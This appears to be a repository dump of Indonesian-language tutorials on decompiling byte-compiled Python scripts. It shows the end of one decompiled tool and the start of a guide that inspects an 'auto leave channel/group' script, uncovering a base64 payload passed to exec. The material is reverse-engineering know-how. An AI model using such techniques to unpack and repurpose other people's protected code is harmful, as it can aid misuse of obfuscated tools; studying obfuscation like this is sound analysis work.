215 | print(a + '[!] Successfully !! ^^' + c + '\n\nSupport dgn cara subcribe channel saya : https://www.youtube.com/channel/UCLU9H65QrIC6u2UetU6476w \n\n')
216 |
217 |
218 | def thx():
219 | print(w, 'Thanks for use!', n)
220 | print(u)
221 | os.system('figlet Thanks for use !')
222 | print(s)
223 | with open('README.md') as (md):
224 | print(md.read())
225 | md.close
226 |
227 |
228 | if __name__ == '__main__':
229 | menu()
230 | ```
231 |
232 | * Bisa terlihat bahwa script tersebut telah berhasil didekompilasi.
233 |
234 |
235 | ## Penutup
236 |
237 | Sekian tutorial singkat kali ini, semoga bermanfaat. Terima kasih kepada Allah SWT, dan Anda yang telah membaca tutorial ini.
238 |
--------------------------------------------------------------------------------
/python/tutorial-dekompilasi_script_lv.md:
--------------------------------------------------------------------------------
1 | # Dekompilasi Script Auto Leave Channel/Group
2 |
3 |
4 | Tutorial singkat ini akan menjelaskan cara melakukan dekompilasi script auto leave channel/group yang dibuat menggunakan python 3.8. Berikut ini adalah langkah-langkahnya:
5 |
6 | Pertama, kita cari tahu dulu tipe dari script tersebut:
7 |
8 | ```bash
9 | % file lv.py
10 | lv.py: python 3.8 byte-compiled
11 | ```
12 |
13 | Setelah itu kita ubah ekstensinya menjadi `pyc` agar dapat didekompilasi menggunakan uncompyle6:
14 |
15 | ```bash
16 | % mv lv.py lv.pyc
17 | ```
18 |
19 | Gunakan uncompyle6 untuk melakukan dekompilasi:
20 |
21 | ```bash
22 | % uncompyle6 lv.pyc
23 | Error: uncompyle6 requires Python 2.6-3.8
24 | ```
25 |
26 | Wah, error. Itu terjadi karena pada komputer yang digunakan untuk melakukan dekompilasi telah menggunakan python terbaru yaitu python 3.9. Selanjutnya kita akan melihat _printable string_ pada script tersebut.
27 |
28 | ```bash
29 | % strings lv.pyc
30 | Nsl'
31 | I0NvbXBpbGUgQmVybGFwaXM ... XHgwMScpKQ==z
32 | utf-8
33 | ignore)
34 | base64
35 | exec
36 | b64decode
37 | decode
38 |